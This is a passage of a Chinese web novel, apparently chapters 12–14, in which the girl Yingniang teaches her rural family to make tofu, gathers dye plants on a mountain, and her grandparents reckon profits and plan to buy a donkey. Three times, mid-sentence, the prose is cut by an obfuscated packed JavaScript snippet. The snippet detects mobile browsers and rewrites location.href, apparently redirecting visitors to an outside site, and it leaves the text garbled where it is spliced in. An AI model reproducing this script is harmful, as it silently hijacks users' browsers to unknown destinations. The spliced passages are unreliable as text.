“瑛娘早间想吃个啥？叫你四婶做。” 瑛娘想吃的却是多，偏这地界儿又有谁能做得出呢？ 不提便罢，一提瑛娘便有些郁郁，道：“吃个鸡蛋垫吧垫吧得了。” “……”就不该多嘴问！ 不过一个鸡蛋不值当啥，正经营生做起来，家里头鸡蛋多卖一个也显不着谁，徐氏扬声招呼灶间忙活的何氏，今晨现捡的鸡蛋便多一个下了锅。 忙活着的何氏扯了扯嘴角，心道老汪家从来只有不知事的小子能吃着鸡蛋，今后这瑛娘倒是成了另类。 洗漱好，瑛娘进灶间看菽。 一夜浸泡，这菽已是全部发涨了，瑛娘在灶头寻摸了闲置的勺，又估量着找了个能装下五六十斤的水桶，这才喊了徐氏，让她安排人将泡好的菽连水带盆一起搬去借磨盘。 大王村只有一副磨盘，就放在村口谷场。 可若这营生能摆在明面儿上吗？ 徐氏张嘴就要反驳，瑛娘却先一步点出了关键，“一副磨盘少说得有千斤重，奶觉着不去谷场，家里头有谁能把磨盘扛回来用？” “……”徐氏语塞，只得憋着气去叫了汪点柱和汪点德来搬豆盆。 瑛娘却觉人还不够，又点了今日闲着带小老九的林氏，“二婶不如带着小弟一起去，谷场地阔，不怕磕着碰着。” 林氏不大乐意，但今日三房全去了城头支面摊，她便也想瞧瞧这侄女儿还能琢磨出什么新的营生来，当即看了一眼徐氏，见她点头，才牵着老小儿汪连一起出院子等着。 汪连如今已有四岁，因着没亏得嘴，看起来倒成了老汪家最富态的一个。 徐氏最喜小孙儿，笑意不觉真切了许多，又问瑛娘还要如何安排。 拉磨费功夫，十斤菽磨下来怕是得废两三口人力，只是大王村整村上下也只有村正家有骡，便是让徐氏去借她也多半不肯，还得叫她自个儿上手磨过，才好想办法省力。 如此想着，瑛娘便笑着安排出浆后的事儿，“阿爷不是会些木匠活吗？让阿爷找找木材，打些模具，横竖各二尺、上下四寸、中空，配着一块一指宽的案板，案板需得大过模具、留水缝，再配一块压板，压板需得略小些，能嵌入模具，最好空隙不宽过半指。” 听着却是复杂。 徐氏完全不懂木活儿，只得照本宣科。 好在汪木匠手艺过关，领悟能力也算不错，家里头也还剩了从前留着没舍得用完的木料，眼下正好拿出来磨一磨便能做。 倒是没想过这般巧合。 瑛娘本意先用簸箕篓几块菽乳试试，但汪木匠能赶着做出来模具，磨好的浆水也好一并点了菽乳。 “可还有别的安排？” “没得了。” 没得别的安排，自然吃过早食便能开干。 汪文、汪武惦记着上山，见瑛娘领了叔婶去谷场，连忙也跟上看热闹。 这时村里已是没人赖在床上，谷场就在村口，老汪家搬抬东西出来借磨盘，那些个村口摆闲的便一窝蜂围了过来。 “徐婆子，你家这是做什么稀奇呢？” “咋还泡着豆呢？不刚是秋收完吗？” “哟！小老九也带出来耍啦？” 徐氏沉着脸不理人，心里盘算着这菽磨出来要能挣着钱，还是拿了银钱找个石匠打一尊磨盘摆在家里头用才好。 “咦？瑛娘磨啊？” 瑛娘自然不会磨太多。 有言道，人生三大苦事——打铁、撑船、磨豆腐。 她不过事先打个样，方便徐氏与汪点柱三兄弟以及林氏，先学着了水、菽入槽的比例再换手。 十斤菽，便是五人轮着来，少说也得磨上四个时辰。 这四个时辰足够她去了山头再回来，届时只需她再指点一下煮浆的火候、掌着点乳的比例，这营生便能由着他们自去做了。 “我得上山去了，奶，您看看先谁来磨？” 此时徐氏还不知瑛娘瞒了什么关键，不甚乐意的挡了挡村人探究的视线，自己先接了摇杆，“我来！阿文阿武，赶紧回去拿了干粮，给你们妹妹带个水囊，那山头的水可不敢瞎喝！” 千万别喝了生水，再给这孙女儿喝病了。 阿文阿武得了准话，当即乐得往家跑。 看热闹的村人凑着脑袋一阵笑，倒没人问他们去那山头作甚。 而瑛娘无需劳累，便看着徐氏摇了几轮，见能成功出浆，才道了一声，悠哉哉往夕山小径走去。 夕山小径都是村人踩出来的，道旁多的是枝叶渐黄渐枯的不知名野草，瑛娘等来三个哥哥后便捡了一条长棍，一路走走停停敲打草丛。 汪会性子稳，只当她是在打草赶虫，汪文、汪武却没恁多耐心，非得扒拉着瑛娘走快些。 “这山外头哪儿有兔子野果？咱们还是赶紧往里走走，一会儿晚些兔子可就回洞里窝着去了！” “我走不快，难道哥哥们要背着我走？” “……”背也成。 外围山道的确没有瑛娘要找的东西，汪文取了背篓让汪武一并背上，这才蹲下，瑛娘便伏上去任他背着走。 一行四人顺着小径走了约摸两刻，瑛娘总算看到了一丛及她腿高的宽椭圆叶，正是蓼蓝！ 瑛娘连忙拍了拍汪文的肩膀，让他赶紧把自己放下。 汪文、汪武环顾四周，也没瞅见什么稀罕物，一时不太乐意停在这儿，瑛娘却不与他们多道，拉了背着背篓的汪会帮她割草。 汪会不多言语，放下背篓取了镰刀便开始割。 汪武却拽着瑛娘，非要问出个所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829082|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然来，“这草打回去也不能吃，别在此处消磨时间了吧？” 套兔子可讲究时机，不早些去铺设陷阱，今日怕是一只也打不回去。 衣袖被拽着扯不出来，瑛娘便被缠得烦了，没好气瞪了汪武一眼，只搬出徐氏做泰山，“这是家里头寻摸的新营生，比打兔子紧要，你若不想回去了被奶打，便只看着大哥做活吧。” 汪武一时不敢扯皮了，看向汪文，两兄弟两眼相对，只得缩着脖子蹲下拔草去。 “拔了草往地上摔打摔打果穗，来年才好继续长。” 蓼蓝生长条件严苛，需得好生侍奉，带回去估计也哄不来肥田，索性让它们自由生长，指不定比带回去施了肥种得长势更好。 三兄弟依言照做，直割了满满一背篓才算完。 “可走了吧？” “走罢。” 蓼蓝叶可作染料，茎亦可阴干了留存，待来日入窖取浆水制成彩墨。 与之类同的山物还有栀子、茜草，只栀子取果、茜草取根，出色也不尽相同。 瑛娘又换了汪武继续背，催着三位哥哥离了小径往林子里走走。 这一片山地多是矮木灌丛，汪会见无后顾便走在前头打草赶虫，一路把持着目能见小径，倒也不怕迷了方向。 离了小径，植株类别便多了几种。 瑛娘从中认出了几样常见的中药药材，不过药理是她的短处，这种战时军备不好农户掌手，便只看了两眼就不再关注。 又走过二、三刻，瑛娘便发现了一连片矮小栀子树丛，其下植干便有茜草攀援，倒省了她再去别处搜寻。 眼下栀子果实已然成熟，瑛娘支使汪会与自己一同摘果，又叫汪文、汪武去挖茜草。 “那草藤得整株挖，但生根不能挖尽，留下最粗的主根，来年才能继续长。” “……” 汪文、汪武皆有些嫌麻烦，且这草藤麻麻赖赖，便是他们手粗也摸得不甚舒服。 瑛娘今日所需已然备齐，心头松快，见他们表情不爽，便细声解释道：“那草藤根可作营生，叶却能打来喂鸡，鸡越肥美炖得越香，难道你们就不想吃那肥鸡？” 老汪家的男丁年节里是不缺肉吃的，只是家里头的鸡养得不算肥，若能多些油气……似乎也是不错的？ 为着吃，两兄弟好歹有了干劲儿。 瑛娘将这一片栀子果全摘了让汪会背着，又择了十余株健壮的枝条割下放进背篓里，不消多久，三兄弟背来的背篓便全塞满了。 汪文见状有些愣，呆呆问道：“那咱们还打兔子吗？” “打呀！我们还有四双手空着呢。” 瑛娘也想吃兔子。 秋季的兔子还算肥美，架火上一烤，便是只撒些盐也能喷香。 “那赶紧的！我们再顺着山道往山走走，我晓得以前那家儿猎户都是打哪儿猎的兔子！” 猎户是走深了才失踪的，打兔子的地界却还不到山腰，汪会没拘着弟弟妹妹不让去，只换到队伍尾根儿头护着瑛娘自个儿走。 “不管打不打得来兔子，林子黑之前咱们都得回家去。” “知道了大哥！” 12. 出浆 正所谓狡兔三窟。 从前那猎户为了猎兔子，圈出来的地很是宽阔，哪怕过了这许多年，这一片也能看出当年处理过的痕迹。 猎户没了，大王村便常有人到这地界打兔子解馋，只因着猎捕技艺不佳，这些年头下来都没能吓得兔子挪窝，倒是给了兔子衍息的时间，让这附近一片山地逐日发展成了兔子的老巢。 汪文、汪武也是前头两年才跟叔叔和爹上山来套过兔子，这会儿找了兔子洞，便烟熏、水浸、棍子捣，齐齐上阵。 瑛娘懒得去地上趴着作弄，索性取了干粮，坐在一旁开阔处的石头上边吃边看他们卖傻。 入秋后，山风微凉，瑛娘为防山露浸湿裙摆特意多穿了一件，如此吹着风倒更觉神清气爽。 待吃过午食，那两兄弟还未能打到兔子，瑛娘眠秋，不多时便靠着石头边上的背篓眯了眼。 都说白日所梦皆所愿。 瑛娘这一梦，却是梦到了轮转七世经历中最为平和的一世。 也是这一世，上下五千年的风韵，只皮毛便让她学到了诸多从未见识过的东西，可惜这一世她活得最短，还有许多难以想象的领域未能触及，将来若有机会，她倒还想再多看一看、再多学一学。 一梦如烟散。 瑛娘在一片空茫中被汪武摇醒。 汪武却是一脸兴奋，不多为何，只因今日收获实在丰厚，竟是套来了八只野兔！ 八只全杀了指定不行，便是拿回去，奶多半也会折价卖给亲戚友邻。 汪武琢磨着瑛娘这几日颇得奶欢心容忍，干脆把人摇了起来，怼着兔子问她要不要带回去养着玩玩，过几日再杀了吃。 瑛娘倒也养过兔子。 兔子繁殖快，伺候起来也不难，虽喜新鲜青草，冬日里没得鲜草，芦菔缨、菘叶它也都能吃得下去。 只是笼养兔子，味道实在难闻，瑛娘不想每日伴着酸臭入眠，便不想与汪武讲这许多。 然，兔子吃法颇多…… 瑛娘实在犹豫难决。 “哎！瑛娘，你都睡了许久了，赶紧清醒清醒吧！” 瑛娘撇开汪武作怪的手，道：“我不养，你若愿养便带回去。” “……” 汪武不确定奶会不会惯着自己，扭头想让汪文一起磨瑛娘答应，汪文却扭头望天看地，偏不搭理他弟弟。 “行，我养着，杀的时候你们可别吵着要吃！” 只盼阿奶好心，可千万别逼着他把兔子全卖给别家才好。 汪武在心中求神求佛，一路搂着八只兔子走得艰辛，有两只被他勒得不堪折磨咽了气，其他的却是生生吓得不敢再动弹，叫他省了不少力气。 许是上达天听，徐氏今日确是没那精力管汪武养不养兔了。 为着自家新营生不被别家琢磨了去，徐氏一心求快，愣是没注意收着力道，一连磨来半个时辰，手臂便开始打颤，再不敢接着磨了。 可惜那老大一盆菽还摆在那儿，徐氏只得换了汪点德来，自己在旁边催促着加把劲儿。 但男子耐力再好也受不住催，一个时辰下来，汪点德也是如何也推不动磨轴了。 徐氏和汪点德都是这般，林氏便打了退堂鼓，悄摸儿拧了拧汪连胳膊上的嫩肉，借着他哭嚎的机会抱了人便躲回了家中。 她一走，劳力便只得靠汪点水和一直在舀菽、水的汪点柱了。 徐氏顾不得生气，又实在抬不起胳膊，等汪点水也败下阵来，只好叫来瑾娘帮着汪点柱舀，自己娘仨在边上搓打胳膊。 这一通紧催慢赶，十斤菽倒是只用了三个时辰多些便全磨好了。 徐氏估量着汪会差不多也该催着弟弟妹妹下山了，连忙跑回家找来了板车，“老二，老四，赶紧把磨好的浆抬上车。” 满满一桶浆水实在重得不行，好在板车省力，只推了半来个时辰磨的汪点柱也还推得动这车浆水。 回了家，瑛娘几兄妹确是先到了一步，去城头支面摊的三房一家子更是早回了家。 徐氏表情松快了不少，一时也不管胳膊酸痛了，拽着瑛娘好一通亲昵，看得一旁拾掇背篓的汪文、汪武一骨碌冷颤。 “好瑛娘，那菽我们都磨好了，你阿爷那头也打磨规整了，快估摸下什么时辰让奶开开眼啊？” 不管如何辛苦，那一满桶菽浆闻着着实是香的。 徐氏福至心灵，猜这菽浆琢磨来的营生也该是甜嘴的，想着面摊子一日都能挣个二三百，这般香的菽浆只怕能卖得更好！ 磨好了浆，模具也有了，瑛娘便笑着应承了下来，见浆液浮沫已然分离，直拿了勺子便舀了浮沫撇掉。 徐氏惊了一跳，见那泼出去的浮沫引得鸡扑过来用嘴叼，顾不得心疼，连忙赶了赶，才叫瑛娘别那般泼洒。 “这浮沫都是菽皮、菽渣，做不成菽乳，让鸡吃了也好。” 豆渣喂牲畜是最好的，再调点糠，半年就能把猪养得膘肥体壮。 不过这时候养猪需得找屠户煽猪仔，猪仔价也不低，这豆渣也只能用来喂鸡了。 听得这浮沫卖不了钱，徐氏便不管恁多了。 瑛娘撇完了浮沫，支使汪文、汪武架好炉子放上大锅，扭头又问徐氏要细布，“最好四尺见方。” 徐氏那箱笼里自然是有细布的，还是那等价值三百多的棉绢细布，瑛娘开口就要扯四尺，徐氏好悬没维持住心绪，直接与她怼上脸去。 那可是三四十文钱呢！ 徐氏勉力控制住自己，想着这营生也能挣，万莫不可着急上头，该得好好与她说才行。 “……瑛娘，四尺会不会多了些？” 瑛娘倒也无所谓，总归这回不是她来操劳。 “一尺也成，半尺也能用，不过就是多花些时间，今夜怕是弄不完了。” “……” 徐氏老实了，回房磨蹭了许久，总算卷了布拿来与瑛娘用。 瑛娘让汪文、汪武分站锅的两头，各扯两端，将布面绷在锅口上，自个儿拿了勺舀浆水往布面上倒，细布留不住水，布面上浆水一多便往下坠成了兜，那水也透过细布孔淅沥沥往锅里流。 “我再舀一些，这布兜底下不能没过水，五哥六哥要觉得重了便喊停。” “好。” 其实也不需得两弟兄喊重。 瑛娘估摸着量差不多了，两弟兄也使了力将细布往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829083|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上头提，待手上青筋凸起，瑛娘便先停了添浆的动作。 “五哥六哥自个儿换个手，把布绞一绞，待不出水了就成。” 这一桶浆少说得滤上四回。 瑛娘只示范了一次便说手累了舀不动浆，看了一圈，却只有三房一家子和汪会能支使了。 “大哥，来帮把手么？” “行。” 汪会倒也是好气力，抱着桶便往布兜里倒浆，他把不住分寸，自然等汪文、汪武喊停了才住手。 等浆全绞好，那大锅里头却是盛满了腥香的汁水。 “三婶抱些柴来点上，这汁儿得烧滚了才行。” 趁着烧汁儿的时间，瑛娘假借回屋，取了石膏块来丢进炉子和柴烧，等汁儿烧好，这石膏也差不多得用了。 “撤了柴，让汁儿镇一下。奶，家里的乳钵拿来我用用。” 乳钵凿好石膏灰，汁儿也镇到了合适的温度，瑛娘打了一海碗水将石膏灰搅匀，借着汁水余温倾倒搅拌，待出了絮，又让陈氏去拿了盖来将锅盖住。 一家子人围着这锅面面相觑，且见瑛娘听了手，才好奇这东西到底成不成。 “闻着倒是香，但这一锅子水怎么吃？” “难道是要卖饮子？倒是没见过菽磨了浆熬的饮子……” “那你只瞧两眼便能看出别个卖的饮子是啥做的么？” 徐氏悄悄瞥了一眼正打呵欠的瑛娘，扭头朝汪木匠看去，见他也蹙着眉头，顿时心头也没了底。 那城里头的菽乳可是四四方方的……瑛娘这一锅莫不是弄差了？ 瑛娘打完呵欠，见大家不动，便点拨徐氏，道：“三叔三婶早回来了，奶不先算算今儿个面摊子挣了多少吗？” “……”徐氏心头一动，扭头去看陈氏，见她无甚心虚的样子，心头才算安了，“那你这锅汁水要放多久？还烧吗？” “不烧了，放个一刻便能成。” “那成。” 既不用守着烧火，大家伙儿也不必在这儿守着锅看了。 回了堂屋，陈氏便主动上交了钱袋子，这一袋子铜板过手便撞得声响，徐氏也没躲着人数，当众点了点，竟是足足数出了五百一十七枚之多！ 得了准数，三房一家子也是惊呆了，他们只知今日有了桌凳，那生意便没断过，直到面团扯完还有人没吃上，挨得好一通挂落，心头没恁爽快，也不敢在城头露才，这才换了桌凳、买了大骨直接回家来。 五百个大钱！ 便是地主家长工做足月余也就只值这个价了！ 陈氏倒最先反应过来，眼神微闪，与徐氏试探，道：“那……那这营生我和老三可就继续做了啊？娘觉得这麦粉磨多少合适？” 麦粉用完了，要继续做营生，自需得徐氏应允才能再开仓取麦。 眼下徐氏却是听不得“磨”了，手一哆嗦，沉着脸将钱袋子系上，道：“得做，这面摊子日后就交给三房常顾了，一会儿钥匙给了你，你自取舀个几十斤麦去磨了。” 面磨好后，自是再安排了云氏去揉。 “那娘，咱明儿个带多少去啊？” 徐氏却看瑛娘：“……瑛娘怎么说？” 13. 算账 瑛娘能如何看？ 面摊子无甚稀奇，档口的食客也就吃吃新鲜，待这几日热闹过，这生意自然也挣不回来今日这般多了。 不过依着档口的热闹程度来看，只要陈氏不要抠抠搜搜舍不得鸡汤、酸菜鸡内腑，每日少说也能挣回个两三百文。 这话……倒不好直接当着全家老小的面儿说，免得陈氏下不来脸，还不讨她信任，再给憋出怨怼来了。 瑛娘笑了笑，转问陈氏：“今日我和四姐都没去城头，三婶倒与我说说今晨卖得最好的是什么？约摸卖了多少碗？” 陈氏默默回忆了下，实在记不得那要鸡肉的食客有多少了，只能含糊道：“今日那素面只卖了三碗，汤面和肉面要的人都挺多，不过还是要肉的更多些。” 昨个儿剩下的麦粉揉了面，约摸能扯一百二十来碗面条，素面忽略不计，鸡丝面又比汤面多些，默了默数，瑛娘便估出了大概的数，点了点头，道：“先去灶间看看。” 陈氏：“……” 徐氏也是无奈，不过灶头的事儿确是耽搁不得，她也怕误了火候，连忙收了钱袋子领着一家子又去围着锅瞅。 一刻静置，锅里的浆絮已是大成，不过为了示范如何判断火候，瑛娘自取了一支筷子悬空，再任其自由落下。 筷子入了浆絮，稳稳立住，便算大成。 见林氏牵着汪连，又看不出丝毫像徐氏和汪点柱三兄弟那般手臂发颤的惨状，瑛娘便点了她，道：“二婶，你拿个舀子来。” 扭头，又让汪会去找汪木匠：“阿爷那头模具打好了，大哥快去取来。” 汪木匠念着这物件儿是制备做营生的，先做成一副，瞧着四四方方却装不了多少东西，索性把余料都取了来，拢共打成了三套模具。 瑛娘见汪会拿来三套也是一惊，不过日后若买了驴、骡，一日如何也能磨个二三十斤菽，三套当也适用。 “五哥，六哥，这锅已是冷了，搬到外头去吧，二婶也好舀。” 这一锅浆絮很是得费些劲儿，汪文、汪武合力搬动也是劲儿得脖颈起了青筋，待入了院子好悬才稳稳将锅放平。 瑛娘却是轻巧，支使汪会只取了两个模具，将院儿里没用的凳子排了两张放齐，正好给模具下层留了可滴水却不浸凳子的余隙，这才放了模具上架，让林氏来舀。 先头用来滤汁水的细布垫底成兜，浆絮过布一滤，便只剩下呈花状的菽乳，满满一锅将够分成两板装，时不待人，徐氏也只能僵着脸再取了一方同等大小的布来洗净。 待锅里舀空，滤过大多水分，瑛娘再上手翻过布块沿系，将面儿上也盖着，取压板将菽乳压实，才又叫汪会再拿了两三斤重的石块搓洗干净一并压在上头。 “这便成了？” “再压两刻便成了。” 只待两刻便知结果，徐氏那心口又紧巴了起来，在看日头已西沉，赶紧催那边儿上看热闹的何氏去烧锅做饭。 “……” 灶间空了，自然没得再凑热闹忘了活儿的道理。 趁着饭好前，徐氏拉了瑛娘来问面摊子的打算，“瑛娘快说说！好叫你三叔三婶准备明日营生了。” “若我来定，今后先按三十碗汤面、五十碗肉面来备存，每日卖到午时便收，也不耽搁三叔三婶再做别的活计。” 八十碗面条，除开每日杀鸡、买大骨、租桌凳的本钱，加上酸菜酿的鸡内腑，能得至少三百文纯利。 徐氏算得来账，对比今日营收自然不甚满意，“怎的一下少那般多？这要只捞八十碗，那鸡怕是每日都得剩。” 剩了又不可再过夜，只得前进了家小的嘴。 “……”瑛娘倒想借着每日营生混混鸡肉吃，不过日日如此，徐氏自然不乐意，只得让了步，补到：“也可两日杀一只，每日炖半只，留半只下一日再炖就成。只是如此，便顾不上每日浇头多挣的二十来文，算一算却也没省多少。” 再多没少那也是二十几文！ 徐氏可舍不得日日杀鸡给家小吃，不甚乐意的承诺瑛娘以鸡蛋，“日后你想吃便煮，那鸡杀勤了就不下蛋了。” 自家只有二十来只鸡，如此杀来也等不到下一月营生了，还得从别家买买，留着自家的下蛋才好。 瑛娘却盘算着来年得说服徐氏养个百来只鸡，点头道好，便准备去看菽乳的滤水情况。 徐氏前后脚跟着她走，免不得又问起她先头往菽汁儿里倒的是什么。 “那是点豆腐的秘法，没那东西，便是外人看了咱家如何做菽乳，也是偷学不去的。” 徐氏“嚯”了一声，心头真真舒坦了不少，转言又道：“只是这活计实在有些不轻松，光磨那浆水少说都得耗着四口人力，每日这般做下来，其他营生该如何做呀？” 她可记着呢！这孙女儿上山也是寻摸营生去的。 “对了，我瞅着院儿里笼了七八只兔子，可是你们今儿个上山套的？” “大哥和五哥、六哥打的，我没走过山道，上山便累睡着了。” “……” 徐氏哑口。 瑛娘笑了笑，与徐氏道：“那秘法可是我花了一百文买来的，约摸能点五十斤菽，能制得一百五十方菽乳，到时叫二叔或四叔挑了去邻村卖，一方菽乳只卖三文，也能挣得纯利三百了。” 徐氏听罢，也算了笔账。 今日磨了十斤，照瑛娘算的，能得个三十来方菽乳，卖得纯利六十，倒是丁点儿比不上面摊子的营生了。 “奶可别嫌少。鸡汤捞面人人都能做，若遇个霸道的学了去，那面摊子早晚被挤兑得没了食客。这菽乳却是捏着方子无人能学了去，日日六十，月余便是近两贯，一年便是二十余贯。咱家四十亩地能得这般纯利填进奶的银箱么？” “不过奶若希望这菽乳能多挣些，又不拖着家里的劳力去做别的营生，可买一匹驴回来拉磨。一匹驴子能抵四五口劳力，到时多磨个十斤菽也是轻松，整家儿分出两口来操持这营生，一年算来不就能轻松多得二十多贯纯利了吗？” 三房支面摊子，除开春耕秋收农忙时，一年到头估摸着能挣回来八、九十贯，不过没方子稳当，被城头的其他人学了去，自然也就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829084|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恁安稳了。 而菽乳这头虽说只挣得来面摊子的一半，还得花八贯去买匹驴子，但只需两口劳力在家烧煮、挑了去卖，农忙时也能点这两口在家里头忙活，倒也不影响田地里的活计，最最紧要的是这方子能传世，世世代代都能受益。 徐氏在脑子里一比对，心头倒没那般不满意了，只是家里头刚还了饥荒，她手里头只有汪木匠卖珠子得来的一角碎银和零零散散两贯余钱，便是想买驴子也使不上劲。 愁着钱不够花，徐氏脑子里突然转过了弯儿，双目灼灼，逼视瑛娘，道：“你打哪儿来的一百文？也是拿了珠子换的？” 若是珠子换的，那该是还有个一贯吧？ 瑛娘对徐氏如此反应有些无语，平静道：“是换了，却也都拿来琢磨新的营生了。” 徐氏有些不信，“那你总还剩了些吧？” “是还剩了三百八十文，奶一并拿去？” “……” 徐氏想要，可念着还有新的营生，她倒不敢伸这手了，只得干巴巴小声道：“那你把钱藏紧了，别叫你兄弟知道你手头有钱。” 整家儿可就三四口人知道瑛娘梦行天宫的机缘，若知道的人多了，叫别家听去，起了贪念可不好。 瑛娘有些意外徐氏突然的大方，默了默，才一笑，问道：“那奶打算等面摊子营收个把月，攒够钱再买？” “……奶去你舅爷家借。” 徐氏娘家的饥荒是最先还完的，再去借来六贯应也不难。 想这面摊子一日三百，这菽乳一日也能挣个百二十文，借来的饥荒半月就能还清。 去借时拎几方菽乳去作礼，也好叫娘家的那些个婆子知道老汪家还能再支棱起来！ 徐氏打定了注意，便准备叫汪木匠明个儿去城头驴市好好挑上一挑，待她回娘家借来银钱便能牵回来。 不过在此之前，徐氏却是按捺住了心绪，步步亦趋，紧跟着瑛娘去看那菽乳成没成。 菽乳压制一刻便能成型，只是太嫩了易损，不好挑出去卖，瑛娘便往板扎了制，待近两刻，取了石头压板，理开蒙着的细布，再将模具反扣于压板上，抽去案板和模具，这成型的菽乳便稳当当一板呈于人前。 刚成的菽乳透着热气和豆香，陪着一家子看热闹的小老九汪连馋得伸手就去抓了一块，林氏阻拦不及，又心疼他要被徐氏收拾，连忙假意打了一下他的手背，倒没想徐氏只盯了他一眼就算放过，还自个儿拿刀把那一块不规整的切了下来，让何氏拿去灶间烧了吃。 徐氏、何氏自是难信徐氏如此大方，但吃过两日肉菜，这等精贵能入嘴的她们更舍不得拒，何氏当即接了菽乳，扭头就去了灶间继续忙活。 徐氏又比量着将两板菽乳切了切，出得二十九方，一方约摸斤把重，想了想，便点了林氏去拿食盆来装，“给村正家送两方去，就说明儿个我们家得借一下他家骡子，路上也别藏着掖着，有人问，就叫他们来家头买，一方三文钱，跟城头一个价，块头却比城头的大。” 林氏眨巴了两下眼，当即应下，接了菽乳往村正家去。 14. 打浆 制成的菽乳去了三方，徐氏又留出四方准备一早带回娘家说道，余下的二十三方却是叫大王村看过热闹的村人全买了去尝鲜。 实实在在六十几个铜板入手，徐氏乐得呲出牙花，恨不能连夜把村正家的骡子牵来磨个几十斤菽做这菽乳卖。 吃过晚食，汪木匠在院儿里头盯着鸡啄豆渣吃，回屋便泼了徐氏一头冷水，“毕竟是三文钱一方的精贵物，哪儿能日日卖许多？就按瑛娘说的，买了驴子也只磨二十斤菽，给驴子留口喘息。” 畅想被打断，徐氏没好气的睨了汪木匠一眼，“你当我不知菽乳精贵啊？后日该叫哪个挑去邻村卖？还是跟面摊子一样，直接把这营生分给一房的来做吗？” 汪木匠敲了敲床沿，想着烧浆压乳时瑛娘点的就是二房媳妇儿和大孙儿，私心也觉得这稀罕的方子还得留给大孙儿传下去才好，便不想再让老四一家的来掺和。 不过这想法说出去也是破家话儿，汪木匠只得压低了声音，与徐氏细细道：“咱两老口儿也活不了多少年了，这家早晚得分，方子就给二房学去吧……瑛娘说过方子会教家里头吗？” 徐氏也是一愣，回想一通，确是没想起瑛娘说没说过，不禁迟疑道：“今日她也没避着家里人，还给我说了这菽乳能成全靠她买来的‘秘方’，就是那往柴灶里烧的白灰块，一百文，能配五十斤菽。我瞅着那东西像是秦老爷家用来糊门庭的白膏？” 秦老爷是徐氏娘家上湾村的乡绅，家中有钱，上湾村大半良田都是他家的，还买了一片山头种药材。 徐氏娘家兄弟能有那钱帮老汪家过饥荒，也是因着年年都会帮着秦老爷家收晾药材，算是稳定的短工，而秦老爷结钱大方，一家子六口劳力去挣，俩月下来好歹能存个九、十来贯。 汪木匠也见识过秦家门庭的气派，可惜瑛娘烧膏时他没往前靠，也没瞅见她烧的是何模样的膏块，不然看一眼也能分辨一二。 “瑛娘即没避着人，这方子她该是不会藏的。明儿个你晚些回娘家，早间先问过瑛娘的。” 徐氏自是没意见。 两老口又盘算了一下家里头的存银，汪木匠却道：“不是还有别的营生？需不需得本钱？还是借八贯吧，咱家那银角留着打棺材，两贯零散也得备着别短了瑛娘那头。” 徐氏撇嘴，道：“瑛娘手头还有三百八。” “……那五十斤菽得配一百文的膏，一日卖个五十方也只能用上三日，万一别的营生本钱比这还高，你做是不做？” 自是要做的。 徐氏叹了口气，一夜都没能睡得着，全盘算该如何与娘家兄弟开这个口。 瑛娘睡得早，鸡一叫她就没了睡意，同床的瑾娘醒的却更早，见她醒了，连忙帮她将衣竿子上的外裳取了来催她披上，“醒来便觉比昨日更冷些，小心别凉着了。三叔三婶早半个时辰就去城头支摊子了，今日你打算做些啥？还做那菽乳吗？” 菽乳做菜滋味不错，瑾娘难得有个喜欢的素味，梦里头都觉得高兴。 瑛娘边穿衣裳却摇了下头，“菽乳做起来费力费神，让叔婶操心去吧。今日我带姐姐做点别的，正好年后你要嫁人，做成了你也好裁几件鲜亮的衣裳带去婆家，叫姐夫好生看看。” 瑾娘脸色骤红，似娇似嗔，抬手捏了下瑛娘的耳朵，“一个小姑娘胡道些什么？叫娘听见了有你好受！” 瑛娘“嘻嘻”一笑，旋身躲过瑾娘便下了床。 出了门，被徐氏拦了个正着。 “奶不是要去舅爷家么？” 徐氏：“与你说说话再去也不急。今儿个还吃蛋不？” 瑛娘午食想吃兔，这会儿便不馋鸡蛋了，闻言摇了摇头，就要去灶间看云氏忙活。 徐氏拉了她一把，两老孙儿就这么并肩走，“菽乳你愿叫谁做？吃过早食你得再看着做成吧？” “叫二婶做吧，明儿一早再让二叔挑了去邻村卖，反正借了有骡，还有大哥帮忙，二婶也做得成。我得再琢磨别的。” 得了准信儿，徐氏才大松了气，趁机便问那“秘法”，道：“那方子能叫你二婶知道？你做别的去，总不好再时时盯着你二婶做吧？” 瑛娘足下一顿，却是摸着下巴沉默了。 徐氏心头顿时擂起了鼓，生怕她不乐意把这摊子全交出来，半晌才听瑛娘道：“若奶觉得二婶可靠，这秘法教便也教了。只是今日的还是我配好了与二婶去做，晚间儿爷奶空了，我们谈谈其他再做决定。” 有得谈自然好。 徐氏笑着拍了瑛娘一下，见云氏已是烙了些饼，自取了一张填了肚子，这才急匆匆拎了篮子带着菽乳往上湾村去。 徐氏一走，云氏便嗔了瑛娘一眼，“你倒是大方，秘法也愿教你二婶。” 自家四个闺女，若要论谁最苦，那必然是瑛娘首当其冲。 